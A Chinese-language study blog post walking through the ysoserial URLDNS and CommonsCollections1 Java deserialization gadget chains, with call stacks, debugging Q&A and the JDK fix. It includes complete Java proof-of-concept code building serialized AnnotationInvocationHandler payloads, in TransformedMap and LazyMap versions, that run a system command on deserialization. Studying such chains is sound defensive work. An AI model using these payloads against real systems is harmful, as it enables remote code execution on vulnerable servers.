其实ysoserial的反序列化利用链分析的文章笔者以前就写了一部分,但写着写着就感觉没啥意思就没继续写了,无非就是函数调用栈的复述,序列化数据(payload)的构造无非就是为了满足某条函数调用的路径而已。看了下网上大多文章也是这样的。而且如果没有亲自调试过,也是看不懂别人的文章的。所以也不知道自己到底学到位了没有。
直到我在P牛的知识星球里看到他发的《Java安全漫谈》系列里关于CC链的那几篇文章(参考[2]
),我觉得写的很好,当时看完后我觉得他那种学习方式才是把东西学到位了。因为那几篇文章并不是机械地按顺序去分析每一个gadget的执行流程,而是在理解了之后,写文章去展现他学习、思考和解决问题的过程。比如CC1这条链的本质原理是什么?把LazyMap
换成TransformedMap
的话,触发的方式有何不同?为什么CC1在高版本JDK就不行了,解决这个问题的思路是什么?CC6是如何解决的,是否可以简化它方便理解?等等。有兴趣的读者可以去看一下那几篇文章。
再后来在浏览一位开发大佬(闪客sun,微信公众号叫"低并发编程")的文章时,看到一段话,深以为然:
虽然说思想很重要,但你在没有任何细节做积累时去强行进行思想的拔高,是拔不上去的,还不如一直保持一张白纸的状态。
所以笔者还是打算写篇文章记录下学习过程,不好高骛远,好记性不如烂笔头嘛。其中包括payload的原理,学习过程中自己的疑问和通过自己动手调试后得出的答案。
URLDNS这个gadget一般用于渗透时Java反序列化漏洞的探测,如果dnslog平台收到了dnslog,则说明目标程序存在Java反序列化漏洞。
无
注:ysoserial工具里说的payload就是指构造好的序列化数据。
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field java.net.URL.handler
is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
/**
* This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.
*
* Potential false negative:
* If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
HashMap#readObject()
HashMap#put()
HashMap#hash()
URL#hashCode()
URLStreamHandler#hashCode()
URLStreamHandler#getHostAddress()
InetAddress#getByName()
反序列化过程:HashMap#readObject()
会通过put(key, val)
操作去还原自身,put()
过程中,会调用key
的hashCode()
方法,而URL#hashCode()
会在其成员变量hashCode
为-1
时,调用其成员URLStreamHandler
的getHostAddress()
方法对域名发起DNS请求。
为什么要自己写一个SilentURLStreamHandler
去继承URLStreamHandler
,而不是直接用一个URLStreamHandler
的子类呢?或者直接构造URL
对象时handler
参数传null
,或者干脆使用URL(String url)
去构造URL对象?
答: 因为从URL构造方法可知,如果不指定handler,则会根据url
的协议(比如这里是http
)去获取对应的Handler
对象(sun.net.www.protocol.http.Handler
)。 而在HashMap将URL
对象put到集合中时,最终会调用Handler
对象的getHostAddress()
方法对域名发起DNS请求。所以为了避免在payload生成的过程中就发起DNS请求从而对反序列化漏洞探测(DNSLog) 产生干扰,便自定义一个类去继承URLStreamHandler
,然后,并重写getHostAddress()
方法。
URL
的成员变量URLStreamHandler handler
是被transient
修饰的,所以该成员变量的值是不会被序列化的。那么为什么反序列化后,,URL
对象的成员变量handler
是有值,而且为sun.net.www.protocol.http.Handler
的呢?
答: 因为URL
反序列化过程中,先调用了URL#readObject()
方法给部分成员变量赋值,然后调用readResolve()
方法根据协议去获取对应的Handler
对象并赋值给成员变量handler
。
commons-collections:commons-collections: <= 3.2.1
有JDK版本限制,用JDK 8u60版本可以,JDK 8u101就不行.
其他版本未测试。
为了理解CC1这条链的原理,可以尝试看下面这段精简过的代码:
private static void simple() {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
这段代码运行后可以弹出计算器。
下面分别说说其中的关键要素。
Transformer
是一个接口,只有一个方法,transform()
.
public interface Transformer {
Object transform(Object var1);
}
ConstantTransformer
实现了Transformer
接口,其transform()
方法直接返回其成员变量iConstant
,它指向其构造方法传入的对象。
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
InvokerTransformer
也实现了Transformer
接口,其transform()
方法可用于执行任意方法。其构造方法的参数分别是:方法名、参数类型、方法的参数。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (Exception var4) {
......
}
}
}
ChainedTransformer
也实现了Transformer
接口,它用来将若干个Transformer
串联成一条执行链。简单说就是前一个Transformer#transform()
的返回值,作为下一个Transformer#transform()
的参数。
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
了解了以上几个关键类后,再回过头看上面的精简代码,就比较好理解了。
我们把要执行命令的方法调用,放入ConstantTransformer
和InvokerTransformer
对象中,并通过ChainedTransformer
将它们串联起来。而TransformedMap#decorate()
是对HashMap
对象的装饰操作,这里传入transformerChain
相当于传入了一个回调,只不过这个回调不是方法,而是一个接口实现对象,最后同时返回了TransformedMap
对象。
接下来就是如何去触发ChaninedTransformer#transform()
这个回调方法。
上面代码是通过TransformedMap#put()
方法去触发的。
理解了上面TransformedMap精简版代码,其实也就理解了CommonsCollections1 这条利用链的本质。剩下的就是构造序列化数据,让其能在反序列化时执行系统命令。
前面我们是通过手动调用TransformedMap#put()
来触发ChainedTransformer#transform()
。所以要想反序列化也能触发,就需要找到一个类,这个类在反序列化时,其readObject()
方法会往TransformedMap
集合进行类似put()
这样的写入操作。
这个类就是sun.reflect.annotation.AnnotationInvocationHandler
。其readObject()
方法的关键逻辑如下:
memberValues
就是反序列化后得到的TransformedMap
对象。遍历TransformedMap
对象,当满足条件时,便会调用Map.Entry
对象的setValue()
方法,调用该方法,就会调用TransformedMap#checkSetValue()
方法,其中又会调用ChainedTransformer#transform()
方法,从而执行系统命令。
构造PoC如下:
public static void main(String[] args) {
try {
Transformer[] transformers = new Transformer[]{
//Runtime类没有实现 java.io.Serializable 接口,
// 所以不能被序列化,所以得换以下这种方式
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}
),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
innerMap.put("value", "xxxx");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(invocationHandler);
System.out.println(baos.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
因为sun.reflect.annotation.AnnotationInvocationHandler
并非public
类型
在Java中,待序列化的对象,其内部的所有属性对象,都需要是可序列化的,即实现了序列化接口java.io.Serializable
,而Runtime不是,所以不能直接传入getRuntime()
,否则会报异常java.io.NotSerializableException: java.lang.Runtime
。所以就得换个方式,这里使用反射的方式:
try {
Method getRuntimeMethod = Runtime.class.getMethod("getRuntime", new Class[0]);
Runtime runtimeObj = (Runtime) getRuntimeMethod.invoke(null, new Object[0]);
} catch (Exception e) {
e.printStackTrace();
}
构造AnnotationInvocationHandler
对象传入的第一个参数为什么是Retention.class
,因为这里必须是一个注解类,否则在构造方法中会抛异常。
这里不能换成Override.class
。
原因在于AnnotationInvocationHandler#readObject()
方法里的逻辑:
annotationType
就是Override
对象,由于Override
没有定义任何的属性,故memberTypes
这个map集合为空集合。
而Retention
定义了一个属性value
。所以memberTypes
这个map集合就不会是空集合。
还是为了满足AnnotationInvocationHandler#readObject()
中的条件:
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
...
memberValue.setValue(...);
...
}
要使memberType
不为null
,memberValue
这个map集合就必须要有一个key
名为value
的键值对,且值不能为null
。memberValue
就是TransformedMap
对象。
AnnotationInvocationHandler#readObject()
AbstractInputCheckedMapDecorator$MapEntry#setValue()
TransformedMap#checkSetValue()
ChainedTransformer#transform()
ConstantTransformer#transform()
InvokerTransformer#transform()
Method#invoke() -> Class.getMethod()
InvokerTransformer#transform()
Method#invoke() -> Runtime.getRuntime()
InvokerTransformer#transform()
Method#invoke() -> Runtime.exec()
ysoserial的CommonsCollections1 这个gadget并没有使用TransformedMap
,而是使用了LazyMap
。
LazyMap
是个啥?
LazyMap
和TransformedMap
类似,也是Map
的一个装饰类。同样接收Transformer
作为回调。
在LazyMap#get()
方法中调用了Transformer#transform()
回调方法。看LazyMap#get()
方法可以看出LazyMap
存在"懒加载"这样一个机制,如其名。没有指定key的时候,才会触发回调去获取相应的值。
由于AnnotationInvocationHandler#readObject()
中没有调用Map
对象的get()
方法,所以payload的构造就不能像TransformedMap
那样了。ysoserial的CC1另寻它路,作者发现AnnotationInvocationHandler#invoke()
方法中有调用Map
对象的get()
方法。
既然如此,那么LazyMap版的payload构造思路就很显而易见了:通过动态代理创建Map接口对象,再通过代理去调用方法entrySet()
,就能调用代理对象处理器InvocationHandler
的invoke()
方法了。
public static void main(String[] args) {
try {
Transformer[] transformers = new Transformer[]{
//Runtime类没有实现 java.io.Serializable 接口,
// 所以不能被序列化,所以得换以下这种方式
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}
),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
Proxy mapProxy = (Proxy) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, mapProxy);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(invocationHandler);
System.out.println(baos.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
AnnotationInvocationHandler#readObject()
Proxy#entrySet()
InvocationHandler#invoke()
LazyMap#get()
ChainedTransformer#transform()
ConstantTransformer#transform()
InvokerTransformer#transform()
Method#invoke() -> Class.getMethod()
InvokerTransformer#transform()
Method#invoke() -> Runtime.getRuntime()
InvokerTransformer#transform()
Method#invoke() -> Runtime.exec()
官方修复代码见http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d
关键在于AnnotationInvocationHandler#readObject()
方法的逻辑:
如上图,在AnnotationInvocationHandler
反序列化的过程中,会新建一个LinkedHashMap
对象,并通过UnsafeAccessor#setMemberValue()
赋值给其成员变量memberValues
中,而不是反序列化得到的LazyMap
或TransformedMap
,所以后续对memberValues
的操作都是对这个LinkedHashMap
对象的操作,因此就不会执行到我们构造的恶意代码。
本文讲述了URLDNS、CommonsCollections1 这两个gadget的原理,可以看到代码与ysoserial里的并不完全相同。这里笔者是借鉴了P牛的学习方式,在理解的基础上,重写里边的PoC,觉得这样理解得更深刻。区别只在于ysoserial的各个gadget做了一些优化,比如防止生成序列化数据的过程中触发命令执行等。
另外,既然CommonsCollections1 受到了JDK版本的制约,那么下一篇文章来看一下ysoserlial的CommonsCollections5/6/7 是如何解决这个问题的。
[1] https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478
[2] https://github.com/phith0n/JavaThings